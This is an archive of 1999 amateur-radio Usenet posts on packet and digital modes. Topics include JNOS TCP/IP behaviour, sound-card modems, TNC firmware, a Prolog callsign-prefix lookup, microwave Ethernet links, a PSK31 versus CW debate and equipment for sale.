If you own a Mac, you may use those emulators on a PC.
To look for Mac emulators, see

For a presentation of JNOS HF performance results I'd like to point
out which "standard/official" version of TCP/IP it's similar/
closest to. (IP4, etc., probably other versions I don't even know about).
I'm especially interested in a comparison with respect to how it
handles congestion, ACKs (transport-layer ARQ) and such. Any suggestions?

IPv4 of course. But it fails many RFC1122/RFC1123 requirements.

>I'm especially interested in a comparison with respect to how it
>handles congestion, ACKs (transport-layer ARQ) and such. Any suggestions?

In my experience, JNOS handles them pretty badly. At least in the default
version and suggested configuration files that are often distributed.

For example, it does not use exponential backoff of retry timers, and
fails a connection too quickly for many radio paths. This results in
unneccesary clutter on the links.

(often observed fenomenon: JNOS station attempts to send mail, sends
10 SYN frames in (too) rapid succession, maybe gets a reply on the 8'th,
establishes the connection, exchanges one or two command lines and then
RST's the connection because it somehow got impatient. the cycle is
restarted 10 minutes later)

NET and plain NOS are much better in this regard, because they were not
doctored by inexperienced developers.

>
>Note: I am trying to AVOID activating the scan function.

Oh I see, I do not have a good answer as the mic is an open switch.
None of my books, service manual or factory manual state anything
about a voltage you can pull up the U/D (Up / Down) pin 3 to safely.

A few years back Roy Welch tackled a similar problem with the IC-970.
He was attempting to get the LL Grace DSP modem to cause the 970 to
step for automatic doppler shift when operating packsats. The problem
was the modem held the U/D line for too long and the radio started
scanning when he wanted a frequency stepping action.

For the down scan he found a single opto isolator seemed to have
enough internal resistance in the output pins when conducting, the
970 would scan down almost every time the opto isolator was enabled.
he added some series resistance to the opto isolator to guarantee it
did force a down scan. Now as I remember he then paralleled a simple
common emitter transistor switch to the same U/Dpin for up scan. I
seems to me he pulled the collector up to 5 volts and attached it to
the U/D pin. This caused a hard switching action and the 970 happily
stepped up each time the transistor conducted. The 970 circuit is the
same as the 28H.

The article was submitted to the Amsat journal a number of years ago,
I have a copy of the article at work but will be working at the
Seaside, OR ham fest this weekend so will not be back online until
Sunday night or Monday. I will try to look it up next week to refresh
the information though I think I have it right.

Best Regards,

Gary Fiber

A packet modem has to resolve the tones used to send the data. This is often
done with a pair of match filters, one tuned to each of the two tone frequencies.
A decision circuit, called a slicer, then outputs a 1 or 0 depending on which filter
has the greatest output at the moment. This modem can be implemented with
analog filters, or with digital filters.

That's where the sound card comes in. It digitizes the audio so that you can
implement a pair of FIR filters in software to filter the tones. A simple numeric
comparison performs the role of slicer. Alternatively, you could do a FFT and
hunt for the highest energy peaks, but that's less computationally efficient for
this task, though it can compensate for mistuning. Additional software then
frames the HDLC and does the AX25 protocol handling.

For transmit, the sound card produces the appropriate tones for the transmitter.
This is a trivial task using a lookup table in software. (Of course the computer
is doing all the AX25 and HDLC protocol stuff to generate the packet too.)

Now the benefits of doing the modem by digital signal processing are that it
is easy to get near ideal filter response, filter tuning is stable, and it is essentially
free if you already have the computer and sound card. The down side is that you
need a fairly fast computer to do both the DSP and the protocol stuff in realtime.
A 66 MHz 486 is about the minimum system for this. That's usually no handicap
since most systems with sound cards are that fast or faster anyway.

Hi:

I picked up a barely used KPC-3 for a very good price at a hamfest this weekend. It has rev 6 firmware. I don't think it had every been used. The box it came in had an additional sticker added to the outside that said "Now Supports GPS" on it. There is no reference to the GPS functions in the manual that came with it... though it is obviously supported in firmware.

I have a couple of questions:

1. Is Rev 6 the latest firmware?

2. Is there documentation on the web somewhere for the GPS functionality? Alternatively, is it possible for someone to give me an overview of the Int GPS functions?

Thanks,

John W2FS

I am looking for a good program to use with my MFJ1278B. I am also looking for any mod's for it (pactor, amtor, satellites, etc).

I am also looking for PSK31 software and hardware. What frequencies are being used on 10M? I am a tech plus, so I can only use PSK31 on 10M and above.

Please email me directly at redberd95@aol.com

2693. Re: KPC-3 Info?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-06-06 00:00:00 UTC
From: "Neal N." <nealn@alpha1.net>
Message-ID: <RCt63.3343$D_5.72596@news2.giganews.com>
Source record: 17849

Hi John,

Here is some info I copied off the Kantronics web site at www.kantronics.com

Firmware and Software Updates:

Update KPC-3 Plus (only) version 8.3 $59.95

Update KPC-3 Plus (only) version 8.3N (K-Net) $59.95

Update KPC-3 version 8.2 $ 59.95

Update KPC-3 version 6.0N (K-Net) $ 59.95

Manuals and Manual Sets:

KPC-3 Plus Manual (281+ pages) $ 24.95

If you plan on doing APRS you will want at least version 8.2 firmware and the manual. (That's not too much less than what I paid for my KPC3+ a couple of years ago!)

If it is a KPC3+, version 8.3 firmware has a handy feature so that both the GPS and a computer can be connected to the TNC at the same time.

73,

Neal N.

True that there is a 1 point difference (double the amount) in the two
contact types, but how many people are you going to find sitting down at a
2m FM packet station vs poeple on 2m FM phone? Or 10m any mode.

Thanks, Gary, I appreciate the comments. Any idea where I can find out how to use the sound card in my system? If I can use it without having to buy some more expensive hardware/software, I'll probably try my hand a packet. 73.

With one VERY SIGNIFICANT improvement - it's 32 bit. And that can make
a difference - especially when the application itself is written for
32 bit environment.

What could you possibly mean by that, Al?
I don't think that its is unfair to equate Linux to Unix, since Red
Hat says that Linux is a commercial version of UNIX, and Unix was
certainly around long before MS-DOS or IBM-DOS. I don't think either
of the DOS's arrived prior to 1981, and I know damn well that UNIX was
available for DEC machines for years. For that matter, I was using
UNIX on an IBM PC-XT no later than 1984.

So what are you suggesting?

2699. How I Spent My Weekend

Message-ID: <MPG.11c4ea4aa654e72298975a@news.speedchoice.com>
Source record: 17855

```
How I Spent My Weekend

I hadn't written Prolog code for nearly a decade, so the following was
thrown together this weekend as a refresher. It is standard Clocksin &
Mellish Prolog.

My plan is to expand on this for many functions relating to amateur
(ham) radio.

If anyone has similar interest, please contact me: k7on@arrl.net

----------------------------------------

/*

The following relation (prefix/2) may be used to query the database
comprising the prefix/7 relation by callsign or callsign prefix.

For example:

| ?- prefix( 'ZK1N', X ).
X = prefix('ZK1N',['ZK1/N','North','Cook','Is.'],32,62,10.4,161,'OC')
;

X = prefix('ZK1',['ZK1/S','South','Cook','Is.'],32,62,21.2,159.8,'OC')
;

no

| ?- prefix( 'ON4UN', X ).
X = prefix('ON',['ON','Belgium'],14,27,50.9,-4.4,'EU')

| ?-

This is merely a demonstration of the purpose to which the database
created (prefix/7) by the goal init/0 may be used.

(c) Brian Short, K7ON / 06-June-99 / All Rights Reserved Worldwide

*/

prefix( X, Y ):-
name( X, L1 ),
prefix(Pfx, Name, CQ, ITU, Lat, Long, Cont ),
Y = prefix(Pfx, Name, CQ, ITU, Lat, Long, Cont ),
name( Pfx, L2 ),
prestring( L2, L1 ).
```

```
prestring( [], _ ).
prestring( [X|Y], [X|Z]):- prestring( Y, Z ).

/*

The following goal (init/0) is used to read the
CTY.DAT file provided by the TR Log Program.

A set of clauses comprising the prefix/7 relation
is created in the database:

prefix( Pfx, Name, CQ, ITU, Lat, Long, Cont )

Where

Pfx is a Prefix as an atom
Name is a description as a list of atoms
CQ is the CQ zone as a number
ITU is the ITU zone as a number
Lat is the latitude as a number
Long is the longitude as a number
Cont is the continent as an atom { EU, NA, SA, AS, OC, AF }

Once executed, you may query the database. For example:

| ?- prefix( 'ZK1', Name, CQ, ITU, Lat, Long, Cont ).
Name = ['ZK1/S','South','Cook','Is.'] ,
CQ = 32 ,
ITU = 62 ,
Lat = -21.2 ,
Long = 159.8 ,
Cont = 'OC'

| ?- prefix( 'ZK1N', Name, CQ, ITU, Lat, Long, Cont ).
Name = ['ZK1/N','North','Cook','Is.'] ,
CQ = 32 ,
ITU = 62 ,
Lat = -10.4 ,
Long = 161 ,
Cont = 'OC'

Look at http://wd5gnr.virtualave.net/pskgnrv.htm It is a page that has a "front-end" for the PSK31 software. It should also have the link to the PSK31 software page. Try around 14.070.5 for PSK activity. Works extremely well and beats packet hands down.

Strictly as a matter of historical accuracy, that was XENIX, not UNIX.
Also, Linux is not UNIX, which is itself a registered trademark now
owned and licensed, I think, by Novell. But what's in a name, anyway?

An operating system by itself is pretty useless. DOS and Windows won the
desktop war on the shear number of applications available, not on mere
hype about its technical merit. You can wonder about how or why this is,
but there is no denying that it, indeed, IS.

We can similarly debate whether pure white light is superior to yellow
light, but there is no changing the fact that the sun is what it is.
Let's move on.

Michael.

Actually, the Unix(tm) brand is now owned by X/Open, and signifies
compliance with a set of specifications - and has nothing to do with
the pedigree of the code involved.

Xenix was, interestingly, Microsoft's foray into the commercial Unix
marketplace, dating back to 1980. By 1986 or so, they'd focused on the
Windows path and SCO had taken over the Xenix mantle.

There are sound card drivers for the PC-Flexnet system popular in Europe.
It is a DOS program. I don't have a URL handy. There are also drivers for Linux,
see the Linux AX25 HOWTO for details.

> "Please, please, please, just let Linux die".

If Linux had come first, then DOS, I'd suspect that we would have more
trouble on our hands than what operating system to use. A vision of the
riders of the Apocalypse leaps to mind...

Slightly more seriously, DOS is conspicious more by all the features of a
real operating system that it _doesn't_ possess than by any similarity to
real operating systems. Memory protection, adequate device abstractions, and
multitasking leap to mind as three of the most serious omissions. It's time
to move on folks...

The DSP-599zx only Demodulates RTTY. It does not Demodulate Packet.
Timewave sells a Windows 95/98 program called DSP-RTTY to run the
DSP-599zx. It also supports connecting a VHF Packet TNC through one
of the Com ports so you can monitor the local DX CLuster or whatever
you choose while operating RTTY on HF. Give them a call or visit their
Web site. http://www.timewave.com

Nothing as complicated as all that.Only that whatever is in wide spread use people will always find reasons to fault it.Which is always easy to do since nothing,especially software/OS's,is perfect.I've had ALOT of fun with DOS based software.Would I have had as much "fun" with UNIX,Linux or ABC based software....probably.

Can anyone out there provide me the pin out for
the PacComm Picopacket mic jack? (single rs-232 version)
I picked one up at a 'fest over the weekend, but I did not get any docs with
it. I want to interface the unit to my HT, however I need the pin out of the
Picopacket's radio RJ-45 mic port.

Anyone help??

2712. Eight-Year-Old Elmers Directory Needs Elmers!

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-06-07 00:00:00 UTC
From: pschleck@novia.net
Message-ID: <ibY63.29980$OL.718086@newscene.newscene.com>
Source record: 17868
Cross-posted to: rec.radio.amateur.misc,rec.radio.amateur.antenna,rec.radio.amateur.digital.misc,rec.radio.amateur.equipment

As readers of the rec.radio.amateur.* newsgroups are probably aware, I maintain a periodic information posting known as the Amateur Radio Elmers Resource Directory (aka the "Elmers List") which provides a list of net Elmers, indexed by topic, and their E-mail addresses. (For users of threaded newsreaders, this article is linked to the base article of the Directory itself). You may also access the Directory at:

http://www.novia.net/~pschleck/elmers/

The Amateur Radio Elmers Resource Directory is 8 years old as of March of this year. In order to maintain its value to the net, I have strived to keep it accurate and up-to-date. In addition to reviewing the currency of the entire Directory every 2 years, I am constantly scouring the newsgroups for new Elmers to join the Directory.

There's always been an implicit invitation for any qualified person to join the Directory. However, since I've lost the half of the Elmers listed due to attrition from the last biannual mass-ack (i.e., no response at their last-known E-mail addresses; the 50% attrition rate seems to be fairly predictable based on the last few mass-acks in recent years), I felt the need to send out this explicit invitation. I'd like to replace the lost Elmers with new, motivated, quality Elmers from the net. Areas of expertise that are most desirable for the Directory right now include:

- Any expertise from residents of states, provinces, and foreign countries not currently represented
- Advanced homebrewing techniques (surface-mount, VLSI, DSP, spread-spectrum, etc.)
- TCP/IP Packet Radio and Gateways/Internetworking (particularly local IP coordinators and/or subnet managers/operators/leaders)
- Amateur Satellites/Space Operation (particularly Microsats, SAREX, and ARISS)
- Amateur-related Software for Unix/PC/Mac/Amiga/Psion/HP-95/PalmPilot
- College Clubs and organizational guidance/strategies
- Boy Scout Amateur Radio Merit Badge Counselors
- Unix/Linux/X-Windows programming and configuration
- Amateur Radio Organizational Contacts (I am especially looking for contacts for the ARRL Field Organization, GRAPES, AMSAT, QCWA, QRP Int., NARA(?), QRZ, CSVHFS, LAMBDA, ARES, RACES, FEMA, NACEC, any state OES or EMA, as well as any regional frequency coordinating body)
- Band, Mode or, Brand-specific equipment (actual manufacturer or dealer contacts would be quite welcome, as long as they reveal their affiliation and at least provide *some* free services)

- Maintainers of unique amateur-radio-related anonymous File Transfer Protocol (FTP) sites and World-Wide Web (WWW) Home Pages (as opposed to those that are substantially a rehash of, or pointers to, existing sites).
- Maintainers of unique amateur-radio-related mailing lists
- Editors/contacts for amateur-radio-related publications

Although expertise in any other area would, of course, be welcome also.

I'd like to emphasize that participation is totally voluntary, with very minimal obligations (1 or 2 polite inquiries a month, if feedback from existing Elmers is any indication). If you find that it is too much work, you are welcome to bow out, no questions asked. You don't even need access to netnews, just a reliable E-mail address.

If you'd like to volunteer, please go to the following Web-based registration form:

http://www.novia.net/~pschleck/elmers/register.html

I am a professional software engineer and a long time short wave
listener.

I have developed a Windows program that allows you to filter audio in
real time.

Connect the "Line Out" on your short wave radio to the "Line In" on your
PC's sound card.

Use the Windows "Volume Control" program to assign inputs and outputs
and set levels.

The program takes the digitized audio, filters it and plays it out
through your PC's speakers!

No special hardware or modifications needed.

It does require a fast PC - 200 Mhz or better.

For more information and a free Shareware copy of the program visit my
web site:

http://www.winternet.com/~swezeyt/dsp.htm

Thanks a lot,
Tom Swezey

2718. HELP W/ID of Seimens p/n BB105B

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-06-08 00:00:00 UTC
From: earthlink <cloudhopper@earthlink.net>
Message-ID: <375D5F87.D0302478@earthlink.net>
Source record: 17874
Cross-posted to: rec.radio.swap,rec.radio.amateur.digital.misc,rec.radio.boatanchors,rec.radio.amateur.misc

Anyone out there that can help out with the identification of this part? This tuning diode lives in a Watkins Johnson 8718A/MFP receiver and is part of the 3rd lo.

I am in need of the specs/data sheet for a varactor diode that was made by Seimans about 1985 or so. It is used in an oscillator circuit, I need the operating parameters so I can repair this circuit. The part number is: BB105B. The circuit is very touchy and I need to get as close to the original part as possible.

It was suggested that this part may have been originally produced by Phillips for Seimans.

I tried all of the usual sources with no results, even tried the manufacturer with no luck.

Thanks in advance
Dennis W6DEN

Dennis:
BB105 is a very run-of-the-mill varacter Diode for VHF tuning purposes. If I remeber it correctly, the max capacitance is around 20 pF.
Unfortunately I have my electronics stuff at another pï¿½lace.
If you do not get the characteristics, please drop me an E-mail and I will look it up asap.
Please tell me also if you need some of these diodes (normally they are used in pasirs...).
I could try to get them in Munich. (In this case give me your postal adress too).

In case you want to give it another try: the name is spelled "Siemens".
And the other manufacturer you mentioned is spelled "Philips".

That may give you better chances on search engines.

Of course your right. I wrote a skeleton program for trying DSP
techniques in C++ under Win32 using the 'normal' mmsystem interface, and
it works like a charm. The only thing that's undoable via this approach
is maintaining a fixed, pre-determined relation between the audio you
receive and the audio you transmit. So no RX+TX SITOR-A here.

Message-ID: <375ECB83.44E57B07@bclc.stampoutspam.com>
Source record: 17882

Hi...
I have a new KPC9612+ with FW version 8.0. It works perfectly in normal terminal mode but refuses to communicate in KISS. It seems to receive OK but when it transmits but no stations can copy it. It is acting like it is sending invalid frames or something. It also ignores any parameters set through the BPQCFG.TXT such as TXDelay, TXTail, etc.
I have heard that there may be a problem with the V8.0 FW. Can anyone confirm this or perhaps has found a workaround or fix? Note: This is the PLUS version, not the original 9612.
TIA -Rob-

Jeff McLeman wrote:
>
> They exist. THey are 802.11 devices.

Not exactly. IEEE 802.11 has a much more sophisticated
MAC protocol than Ethernet; however, early wireless
devices, such as WaveLAN 915, and the non-802.11 2.4GHz
WaveLAN, are *exactly* an Ethernet NIC with a radio replacing
the AUI/TP transceiver.

The mechanisms that serve to make Ethernet degrade poorly
under stress are close to pathological in the non-802.11
wireless case, which is why the 802.11 MAC protocol exists
(better scalability and degradation under load).

GREAT DEAL on antennas

Dual band fiberglass Base antenna 144-148 440-450
6db on 2 8db on 440 200 watts 98.5 inches
NEW $79

Dual band mobile NMO mount 144-148 440-450
3db on 2 5db on 440 200 watts 38 inches

NEW $21

Dual band mobile NMO mount 150-158 450-470
3db on 2 5db on 440 200 watts center load

NEW $21

Price does not include shipping

This message was sent via a homebrew 10-megabit Ethernet link that's been running for about 2 weeks now, so yes, it is possible. :)

One approach, by Fredrik Oberg, is described at http://w1.911.telia.com/~u91105482/indexeng.html. Fredrik's circuit has a few problems as detailed, but the last I heard from him, he was achieving at least some limited success at 10 megabits.

With any luck I'll have a good description of my design up on http://www.qsl.net/ke5fx within a couple of weeks, complete with schematics and .JPGs. It'll depend on how much time I have over the next couple of weekends to take everything back apart and draw the schematics. Ralph Stirling, KC3F, has graciously volunteered to translate my back-of-the-napkin schematics into a legible CAD format, but at the moment the bottleneck is entirely on my end. I will drop an announcement here when the web page is functional.

In the meantime, some general hints:

- The N6GN 2-megabit link at http://www.tapr.org/~n6gn/uwavelink/uwv.html (see also the 1993 ARRL Handbook) is the usual starting point for those who are interested in 10-megabit work. Substitution of the faster MC13155 for the MC13055 used in Glenn's design is the obvious first step on the road to 10-megabit compatibility. There have been various efforts to "underclock" 10-megabit Ethernet cards down to 2 megabits for direct compatibility with Glenn's circuit, but I am not sure if people are having any luck with this approach.

- The 10 GHz Gunnplexers sold at http://www.shfmicro.com are great for this purpose. They have built-in varactors with good modulation characteristics for wideband FSK (as opposed to the technique of voltage-modulating the Gunn diode directly in the original N6GN design). The 10-milliwatt Gunn diodes can be upgraded to 100 milliwatts

if necessary.

- Watch out for DC level-shifting issues! It is NOT a good idea to feed an FSK signal at +/- 2V or so to a +8V-biased varactor through a large coupling capacitor. The coupling time constant will mangle some or all of your packet traffic. An amp such as the OPA603 can be used to apply the desired DC offset to your varactor drive signal without any AC coupling at all. I spent way too much time ignoring this type of problem.

- Further to that, in my experience it's best to treat the link's entire signal chain as an analog, rather than a digital one. Your Ethernet hardware (NIC, hub, whatever) has a very broad tolerance for out-of-spec signalling levels, waveshapes, and the like. It's unnecessary to use comparators, ECL line drivers, and the like in your transceiver units. (In fact, use of two-state comparators adds an extra dimension of polarity sensitivity to the problem.)

- In any dual-Gunnplexer design, you will need to use the AUI (Attachment Unit Interface) port on your network hardware. The immediate temptation is to use 10BaseT directly, but the local echo generated by the Gunnplexers will be interpreted as a collision on every outgoing packet under 10BaseT.

- Contrary to often-stated dogma from the Ethernet gurus, collision detection is not worth losing sleep over in the real world. If separation of two busy collision domains is required, simply use bridges or switching hubs to calm things down. A two-station point-to-point link will end up looking like an AUI crossover cable, which is an illegitimate but perfectly-functional hack. The collision pairs on the AUI ports are left unconnected.

More later, hopefully.

Want to reduce the footprint on my desktop and wishing to trade my perfectly running AEA mother of all TNC's for a KAM new model...

Have all docs. Have used this extensively on sats and terrestrial 9600bd, pactor, amtor, etc.

Rub is all I have time now for is Navy MARS and I want something smaller for the desktop.

Willing to sell the unit too for $325 outright.

Thanks.

Hey Dave, doesn't your computer have a DELETE key ? If you don't want to
hear anybody else's 'opinions', and you aren't interested in 'sour grapes', I
think you better forget Usenet exists.....

As far as PSK-31 is concerned, the only mode I can think of that it's inferior
to is CW. Lots of times I've heard someone CQ'ing on PSK-31 and couldn't
copy a letter, but the CW ID at the end came thru loud and clear.

Try Morris Code, that might blow your dress up.....

That's an interesting observation that has some basis - the CW is at
full, key down power. Whereas the power during PSK31 Mode at idle is
1/2 of the key down power. That sounds like 3 dB to me, which is often
the difference between copy and no-copy.

I'm not qualified to make a judgement about which mode has the better
communications reliablility as a function of characters per unit time,
average power and bandwidth, but based on my personal experiences, CW
may have an edge, but PSK31 is more enjoyable.

So, keep in mind that in most issues like this it is very subjective -
be tolerant and recognize the other guys opinions even if you don't
agrree with him.

2742. HELP cannot upload with YAPP!!

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-06-12 00:00:00 UTC
From: kvenl@dds.nl
Message-ID: <7jt46n$5sb$1@nnrp1.deja.com>
Source record: 17895

Hi all,

Very nice of you to look at my message, I hope you can help me.

I have a problem uploading with YAPP using
Software : TSTHWIN
Hardware: TNC2 / TSTWIN.PRT = 0,1,9600, with TM-G707 kenwood

Situation:
-download with YAPP works OK
-upload with YAPP does NOT:
- I give YPUT to the BBS with filename
- i give the discription
- the BBS says to start the yapp
- I start that with the leftmost button
- I choose the file (same name as I provided the BBS)
- I follow the MONITOR
- the name ans the size is being sent
- after that the program says it's sending the packets; the XMT
led on the TNC burns, but
the TX doesn't transmit at all.
- a timeout occurs

- strangest of all: when i disconnect the BBS, the monitor still gives a
'looping' of several RR<nbr>+ and DM- from the BBS and me, while there
is NO activity between me and the BBS

Any idea??

Thanks a lot!

For Sale:
Yeasu FT-51R
5 watt dual band handheld transceiver
receives 110-180 Mhz and 420-470 Mhz
transmits 140-174 Mhz and 420-470 Mhz
alpha numeric labels for each memory channel
sub audible tone encode and decode stored in each memory
can be set-up to act as a mini repeater
computer programmable

original box, manual, antenna, adapter, etc.
works fine, in good condition

additional items include: a MFJ 2m/440 quarter wave telescoping antenna,

an MFJ 2m/440 magmount, and a Yeasu mobile drop charger/power supply.

Asking $300

From what I've heard, the interface is just a UART and the 1488/1489 (RS232-C driver chips). I'm not certain which UART is used - maybe an 8251?

On some radio's, it's just a matter of installing the chips. BTW, the chips themselves can be had for about $3.00, but the kit from the manufacturer is probably in excess of $20.00. (It's been a long time since I've even thought about this equipment). Maybe you should search a "radio modifications" server first - I think some mods address this.

>CW and PSK31 is arguable. You would have to include such things as
>data rate and bandwidth - right?

Robert,
I think maybe I didn't correctly say what I was trying to say. What I meant was, I can hear a PSK-31 signal (with my ears) and I can not decode it (with my computer) but when the PSK-31 CQ is done being sent, I can copy the CW ID (as sent with the PSK-31 program, audio CW, whatever) with my ears.

I will have to admit that I can copy some pretty darn weak signals with PSK, that would never be copyable as RTTY signals. But then again, I can copy some pretty darn weak CW signals with my ears too.

As far as power output is concerned, if I set the power out of my radio using the TUNE button of the PSK program at 50 watts (using the peak holding meter in the radio and an external PEP meter), and then measure the power out using the CW ID button of the PSK program, I stll have 50 watts output. If I use the CQ button of the PSK program to call CQ, again I still have 50 watts output.

So I would conclude that since the TUNE function, the CW ID function, and the actual PSK transmit function all use the same audio tones with the radio in the SSB mode, the power output is the same for all three.

I wasn't comparing CW with radio in the CW mode, to PSK. I was simply trying to say that my ears copy the audio CW ID when the computer doesn't copy the the PSK audio.

I don't think PSK was intended to be used the same as CW, so it's hard to compare the two, mode wise. Of any of the digital modes I have used, PSK seems to copy the weakest signals by far, but I don't base that statement on anything scientific. Just seems that way to me....

I can say that PSK pileups suck =:-) But I didn't get on PSK to work pileups, I got on to get away from them.....

Dear Bill,
I have the device that you are looking for - it works quite well.
You should be able to build a chinese copy of it from the schematic. I
can scan it in and send the schematic as an attachement to an e-mail
if you like. Just send me an e-mail requesting it. It will take a
couple of days to get around to it, but I see no problem other than
the fact that such scanned images can be rather large - it's up to
you.

Note the anti-spam block.

I am attempting to figure out APRS and am running into some
difficulty with a GPS receiver and a Tiny-2. I upgraded the
firmware in it and now am trying to make it a tracker. My
GPS receiver is putting out the $GPGGA stream of data.
I have the GPSTEXT set to $GPGGA, and yet it won't
update the LTEXT or others with the GPS data. I have
put the TNC into conv mode and plugged the GPS serial
cable into it and confirmed that the TNC is receiving the data
when the TNC went into TX and sent the GPS stream verbatim.

Any assistance, troubleshooting that you could procive would
be appreciated.

>But isint PSK-31 a SSB signal?
>Isnt the PEP of SSB twice the power as a CW sig?

I don't want to agree that PSK31 is an SSB signal, because it is no more SSB than is a RTTY signal. RTTY can be generated in that same way by placing a frequency shifted audio tone into the transmitter's audio input. Do you call that SSB? If so, I think you are placing undue emphasis on the mechanics of how the signal is generated and ignoring the actual characteristics of the emitted signal.

The question of whether the PEP of SSB is twice the power as a CW sig is a question of how the designer of the transmitter specified its usage in terms of assumed duty cycle and other factors. If I run my rig with equal levels of PEP in CW and SSB, what am I violating? I only do harm if I run the rig in a mode and at a power level that is outside its design specifications.

It seems to me that PSK31 has to stay synchronized during idle if it is going to reliably decode the characters - I have to think about that more to be sure, and it's not a job for this old brain. My rational is that a non-character must be recognized just as reliably as a real character.

The indisputable fact is that at idle the PSK31 transmissions are developing one half of the power that the CW keyed tones are delivering. This is a simple fact that is seen on the wattmeter between Tune and Idle. As I said, that seems to be a 3 dB advantage

for CW - but maybe I am drawing the wrong conclusions from those facts.

One thing is certain, 3 dB is a considerable advantage, if everything else is equal. Whether everything else really is equal or not between CW and PSK31 is arguable. You would have to include such things as data rate and bandwidth - right?

Isn't the datarate on PSK higher than on CW?
In that case it isn't surprising that you can demodulate a signal in
CW that you can't demodulate in PSK.

For a fair comparison, use a CW rate that matches the PSK datarate.
That will probably be more like 50-60 WPM CW. Can you still copy
weak signal CW that well at that rate? (taperecorder allowed)

I think it's closer to 30 wpm, given operator typing speed. We can find more in the technical description, but in simple on the air testing, I kept pace nicely with my keyer set for 24 wpm. There were some short pauses as the sender struggled with his thoughts or typing. For the average ham, typing 30 wpm while conjuring up original thoughts is herculean. 30 wpm is well within the realm of CW speeds.

In weak signal or noisy conditions, copy is often about as good as my CW copy: spotty. :-) I have more time to make sense of the partial copy with PSK31, but that only helps keep the conversation flowing, not in actual content.

I will venture to add, though, that I've worked with QSO's less than 100 Hz above and below, and also straddled between the legs of --TOR traffic. I haven't the filters to do that in CW; not even the wetware filters are that good. Also, having the full ANSI char set and line breaks helps expressiveness, but I find that secondary to everything else.

Michael.

Hi,

Before I buy a HC-02 interface and pay for the program, I want to see if my old computer has capacity to run the HamComm software. For that reason I have built a HC-01 Basic Interface on an experimental board. The test run did not give much satisfaction. The CW-reception did only give garbage text on the screen. Because of this, I now have some questions:

1. Can I use a 33 MHz 486 PC if I run it in DOS-mode?
2. Is the length of the connection cables of any importance? Is 2 meters too long?
3. Is it possible to use HamComm 3.1 for CW reception on the whole?

hi the name here is alan and i have the following multiport adapter for
sale;
digi arnet multiport rs232 port adapter card. it is a isa full length card
and is
settable to different irq's and addresses. 115k to eack port, by 4 ports.
it has the win 3.1 drivers and docs and is in good condition. (unknown win
95/8 driver availability).
perfect for those setting up a multi user system or ???
will sell for $65 shipped or will trade for a older 30 watt vhf rig. If
you are
interested in in please e-mail me back at the address below. thanks alan.

Yes. It worked on a 20Mhz 386SX.

> 2. Is the length of the connection cables of any importance? Is 2 meters =
> too long?

Probably, but 2 mtrs should be OK.

> 3. Is it possible to use HamComm 3.1 for CW reception on the whole?

Yes, but...
No SW decoders are all that hot with hand sent CW. As software decoders
go, HamComm is pretty good, provided it's getting a clean signal. It's a
good idea to test your setup with RTTY since that's far more predictable
than CW. If that's OK, CW ought to be as well. If it's not, the
adventure begins as you try to find out why. Mostly, it will be down to
computer (especially VDU) noise or ground loops, but that's easier to
say than to fix.

2770. Radios for FullDup link?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-06-15 00:00:00 UTC
From: Charles Brabham <n5pvl@texoma.net>
Message-ID: <7k58rb$v8s@enews3.newsguy.com>
Source record: 17776

Hello!

I am looking into setting up a Full Duplex Packet Radio backbone link, and have picked out most of the equipment except the radios themselves. I am interested in setting up on the 220 or 440 MHz bands, or a combination thereof. It will initially be set up to run at 1.2kb, and once any kinks are ironed out, the link will be upgraded to higher speed, probably 9.6kb, possibly 19.2kb.

Any suggestions for the radios, frequencies, and antennas? I have never seen a full-duplex setup before, so I'm having to learn as I go.

We've done some preliminary testing in our area (Indianapolis) running
full duplex in our TCP/IP network. The performance improvement is
dramatic, anywhere from four to eight times the half dup path. Nothing
special about the radios or frequencies, as long as you can hear when
transmitting. We've not put anything in permanent service though, just
due to funds and coordination. Since full duplex is essentially point to
point, as opposed to multipoint, it is hard to get the guys to chip in
$$ for a link that doesn't point directly at their station. :)

I don't think so. As I said before, the average power being
transmitted by the PSK31 system at idle is exactly one half of that
during Tune. Tune is also the level of CW (but only during the key
down - not as an average power)

>
>I wasn't comparing CW with radio in the CW mode, to PSK. I was
>simply trying to say that my ears copy the audio CW ID when the
>computer doesn't copy the the PSK audio.

Perhaps the subjective observation that you can copy CW better has
something to do with the fact that the signal processor being used is
more sophisticated. The human brain can be a much better signal
processor and decoder than most electronic implementations - provided
it is given something that it knows how to deal with. Unfortunately,
PSK warbles are NOT something it can deal with, and so we have to
struggle along with Peter's marvelous algorithms.

>I don't think PSK was intended to be used the same as CW, so it's
>hard to compare the two, mode wise. Of any of the digital modes
>I have used, PSK seems to copy the weakest signals by far, but I
>don't base that statement on anything scientific. Just seems that
>way to me....

You're right, it's not very scientific, but the scientific explanation
is not that complex and hinges primarily on the fact that PSK31
filters the audio to a 31.5 Hz bandwidth which is so narrow that very
little of the spectral noise gets into the processing algorithms.

>I can say that PSK pileups suck =:-) But I didn't get on PSK
>to work pileups, I got on to get away from them.....

There's another place where PSK31 sucks, and that's when its coming over the pole and suffers from aurora. It does not take much phase modulation from the environment to degrade the signal, as I understand it. By the same token, two PSK signals on the same frequency totally screw each other - i.e., there does not seem to be any capture effect. That's an example of where it is not as good as SSB. When listening to several SSB stations all on the same frequency, it's often very easy to have a Q5 on more than one, because it's no different than a cocktail party or trying to talk over your wife - you can usually get the gist of what everyone is saying - again, because the human brain has excellent signal processing capabilities.

The data rate on PSK31 is limited. I.e., it keeps up with the typist until the typist gets ahead of the processing, at which point the PSK31 output is simply continuing along at its max speed while the buffer is spooling up the typed in data.

On the other hand, CW is at whatever speed you send it - so there is no comparison possible unless you specify a CW rate that produces the same characters per second.

Sorry, but PSK31 doesn't go that fast.

Dear Michael,

I have worked PSK31 between the mark and space of RTTY and I have
worked PSK31 with another PSK31 signal as close as 50 Hz, center to
center. In other words, the PSK31 signals can be shoulder to shoulder
in the waterfall without killing each other. This is not to say that
all signals are clean and that splatter doesn't cause interference.

Of course that is what I mean.

When you want to send a certain text, e.g. this news article, using
either PSK31 or CW it takes a definite minimum amount of time. Of
course you can take longer, both in PSK31 and in CW, by waiting and
staring at the screen. That is not relevant.
When you send continuosly, there is some CW WPM rate that will give
the same transmission time as the text would take in PSK31. That is
the CW rate at which you should compare the two, not some convenient
slow CW rate that lets you pick the signal out of the noise.

My guess was that the default CW ID speed of PSK31 is lower than that
fair comparison rate, and that it would be fair to compare at 50-60 WPM
CW.

